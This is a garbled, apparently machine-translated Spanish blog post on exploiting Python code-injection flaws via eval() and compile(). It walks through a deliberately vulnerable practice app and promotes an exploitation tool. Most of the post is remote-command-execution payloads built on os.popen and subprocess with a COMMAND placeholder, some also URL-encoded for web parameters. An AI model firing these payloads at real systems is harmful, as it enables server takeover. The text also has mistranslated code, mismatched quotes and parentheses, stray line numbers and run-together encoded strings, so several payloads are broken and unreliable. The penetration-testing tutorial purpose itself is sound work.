Cómo utilizar Python para encontrar vulnerabilidades en sitios web
Para reproducir esta vulnerabilidad, intenté explotarla durante una prueba de penetración externa reciente. En ese momento, intenté encontrar información en Internet sobre cómo aplicar específicamente la vulnerabilidad, pero no encontré mucha información valiosa. Con la ayuda de mi colega Charlie Worrell (@decdedlygray), implementamos con éxito un shell no interactivo con un Burp POC, que es lo que describimos en esta publicación de blog.
Debido a que, además de Python, muchos otros lenguajes (como Perl y Ruby) también pueden tener problemas de inyección de código, la inyección de código Python entra en la categoría de inyección de código del lado del servidor. De hecho, si es un seguidor de CWE como yo, los siguientes dos CWE pueden proporcionarle contenido de referencia valioso:
1.CWE-94: Control de generación de código inadecuado ("Inyección de código") 2. CWE-95: Manejo inadecuado de la vulnerabilidad de las instrucciones de evaluación de código dinámico ("inyección de evaluación")
Supongamos que ahora utiliza Burp u otras herramientas para descubrir una vulnerabilidad de inyección de Python. En este momento, la vulnerabilidad La carga útil. es el siguiente:
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single')) Entonces, Puede usar la siguiente carga útil para implementar la inyección de comandos del sistema operativo en el host de destino:
eval(compile(""for x in range(1):\n import os\n os.popen(r' COMMAND ').read()""",'','single')) De hecho, ni siquiera necesitas usar un bucle for, solo usa la función global "__import__" directamente. El código es el siguiente:
eval(compile(""__import__('os').popen(r'COMMAND').read()"""",'','single'))) De hecho, nuestro código de carga útil Puede ser más conciso, ya que hemos escrito import y popen en una expresión, en la mayoría de los casos ni siquiera es necesario usar compilar. El código se ve así:
__import__('os').popen( '. COMMAND').read()
Para enviar esta carga útil a la aplicación web de destino, necesita codificar en URL algunos de sus caracteres.
Para ahorrarle tiempo, hemos codificado el código de carga útil enumerado anteriormente de la siguiente manera:
param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import% 20time %20 0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281 % 29%3A%5Cn% 20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29 % 29param=eval%28compile%28%22%22%22%22 __import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%22% 2C %27%27%2C%27single%27%29%29param=__import__%28%27os%27%29 .popen%28%27COMMAND%27%29.read%28%29A continuación, te presentaremos la vulnerabilidad en detalle y compartir con usted una aplicación web que contiene esta vulnerabilidad. Al final del artículo, le mostraré una herramienta que mi colega Charlie **** y yo escribimos y que puede reducir significativamente el tiempo que dedica a explotar esta vulnerabilidad. En resumen, esta herramienta es como sqlmap y le permite encontrar rápidamente vulnerabilidades de inyección SQL, pero aún está en su infancia, si está interesado puede discutirlo conmigo en la página de GitHub [Portal] del proyecto.
Construcción de un servidor que contiene la vulnerabilidad
Para demostrar mejor a los estudiantes, creé una aplicación web que contiene la vulnerabilidad. Si desea intentar explotar la vulnerabilidad usted mismo, puede obtener la aplicación web haciendo clic aquí. El siguiente paso es configurar el entorno de ejecución de la aplicación web, que consiste en instalar web.py a través de pip o easy_install. Puede ejecutarse como un servidor independiente o cargarse en un servidor Apache que contenga el módulo mod_wsgi. Las instrucciones relevantes son las siguientes:
git clone /sethsec/PyCodeInjection.gitcd VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
Análisis de vulnerabilidad
Cuando busca la función eval() de Python en Internet, casi no hay artículos que le adviertan que esta función es muy insegura, y la función eval() es la que causó este Python El culpable de las vulnerabilidades de inyección de código. Si encuentra las dos situaciones siguientes, significa que esta vulnerabilidad existe en su aplicación web:
1. La aplicación web acepta entradas del usuario (por ejemplo, parámetros GET/POST, valores de cookies); La aplicación web utiliza métodos inseguros para pasar datos de entrada del usuario a la función eval() (sin revisión de seguridad o falta de mecanismo de protección de seguridad);
/p>
Como puedas Mira, la función eval() es la única parte problemática del código anterior. Además de esto, esta vulnerabilidad también existirá en las aplicaciones web si el desarrollador descomprime directamente los datos de entrada del usuario (datos serializados).
Pero cabe señalar que además de la función eval(), la función exec() de Python también puede tener esta vulnerabilidad en su aplicación web.
Por lo que he mostrado, hoy en día muchos desarrolladores utilizan la función exec() de forma irregular en sus aplicaciones web, por lo que definitivamente hay un problema.
Escaneo automatizado en busca de vulnerabilidades
Para mostrarle cómo explotar las vulnerabilidades, normalmente uso un escáner para buscar vulnerabilidades que no he visto antes. Una vez que lo encuentro, descubro cómo convertir un PoC aburrido en un exploit significativo. Sin embargo, me gustaría recordarle que no confíe demasiado en el escáner, porque hay muchas cosas que el escáner no puede encontrar.
Esta vulnerabilidad no es una excepción, y si encontró esta vulnerabilidad en una aplicación web, debe haber utilizado algún tipo de herramienta de escaneo automatizado, como Burp Suite Pro. Hasta ahora, esta vulnerabilidad ha sido casi imposible de detectar sin utilizar herramientas de escaneo profesionales como Burp Suite Pro.
Después de configurar el entorno de prueba, inicie y ejecute la aplicación de muestra que contiene la vulnerabilidad. Luego, escanéelo usando Burp Suite Pro. Los resultados del análisis se muestran en la siguiente figura:
\
La siguiente figura muestra la carga útil utilizada por Burp para analizar esta vulnerabilidad:
\
Podemos ver que la razón por la que Burp marcó esta aplicación web como "Vulnerable" es que después de enviar esta carga útil a la aplicación web de destino, el analizador Python del servidor durmió durante 20 segundos y el mensaje de respuesta solo regresó exitosamente después de 20. artículos de segunda clase. Sin embargo, debo recordarles que este mecanismo de verificación de vulnerabilidades basado en el tiempo generalmente genera una cierta cantidad de falsos positivos.
Actualizar el PoC para explotar el código
Usar time.sleep() para verificar si la vulnerabilidad existe es de hecho un buen método. A continuación, para ejecutar comandos del sistema operativo y recibir los datos de salida correspondientes, podemos usar las funciones os.popen(), subcess.Popen() o subcess.check_output(). Por supuesto, debería haber muchas otras funciones que logren la misma funcionalidad.
La carga útil de Burp Suite Pro utiliza la función compile() aquí, lo cual es un enfoque muy inteligente porque la función eval() solo se puede usar en expresiones. Por supuesto, hay otras formas, como utilizar la función global "__import__". Consulte las
Referencias: [Referencia 1][Referencia 2]
La siguiente carga útil debería ser adecuada para la mayoría de los escenarios de aplicaciones:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Ejemplo de uso de una expresión
__import__('os').popen ('COMMAND ').read()
# Ejemplo de uso de múltiples expresiones, commasstr("-"*50),__ import__('os').popen('COMMAND read() separado Si usted). Si necesita ejecutar una o más declaraciones, debe utilizar la función eval() o compile().
El código de implementación es el siguiente:
# Ejemplo de uso de una expresión
eval(compile("""__import__('os').popen(r'COMMAND').read () """,'','single'))eval( compilar("""__import__('subproceso').check_output(r'COMMAND',shell=True)""",'','single') )# Ejemplo de declaraciones múltiples separadas por punto y coma val(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)"""",' ' ,'single'))eval(compile("""__import__('os').popen(r'COMMAND').read())# Ejemplos separados de declaraciones múltiples import__('subprocess').check_output(r' COMMAND ',shell=True);import time;time.sleep(2)"""",''','single'))) Durante mis pruebas, a veces la función global "__ import__" no funciona. En este caso tenemos que usar el bucle for. El código relevante es el siguiente:
eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()"" " ,'','single'))eval(compile("""para x en el rango (1):\n importar subproceso\n subproceso.Popen(r'COMMAND').read()""",'' , 'single'))Popen(r'COMMAND',shell=True,stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""para x en rango(1):(n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)"""",''','single'))Si el parámetro que contiene la vulnerabilidad es un parámetro GET , luego puede explotar la vulnerabilidad directamente en el navegador para explotar la vulnerabilidad:
(
Tenga en cuenta: aunque el navegador realizará la mayor parte de la codificación de URL por usted, aún necesita para codificar punto y coma (%3b) y espacios (%20) manualmente. De lo contrario, puede usar las herramientas que desarrollamos.
Para los parámetros POST, recomiendo usar una herramienta como Burp Repeater. En la figura siguiente, llamé a varios comandos del sistema al mismo tiempo en la función subcess.check_output(), a saber, pwd, ls, -al, whoami y ping. \\p>
Herramienta de explotación: PyCodeInjectionShell
Puede visitar directamente la página de GitHub de PyCodeInjectionShell para obtener el código fuente de la herramienta. También proporcionamos la guía de uso de la herramienta correspondiente.
Al utilizar esta herramienta, descubrirá que es tan fácil de usar como sqlmap. Aparte de eso, es básicamente lo mismo que sqlmap.